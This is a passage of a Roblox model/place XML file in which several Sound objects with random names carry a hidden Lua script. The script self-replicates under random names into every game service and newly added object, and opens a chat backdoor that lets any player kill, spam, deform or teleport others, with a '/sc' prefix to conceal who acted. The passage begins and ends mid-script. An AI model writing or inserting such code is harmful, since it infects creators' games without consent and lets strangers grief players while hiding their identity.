if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX151">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">skadnff9</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX152">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">eaantu</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX153">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">194</int>
						<CoordinateFrame name="CFrame">
							<X>-3</X>
							<Y>10.6999998</Y>
							<Z>-14.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">0</float>
						<float name="LeftParamB">0</float>
						<token name="LeftSurface">2</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Torso</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">0</float>
						<float name="RightParamB">0</float>
						<token name="RightSurface">2</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>2</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="Decal" referent="RBX154">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">roblox</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>a7b5654da45eafbc96499a90f764de83</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX155">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">40rh0qq8</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX156">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">dvn0vunf</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
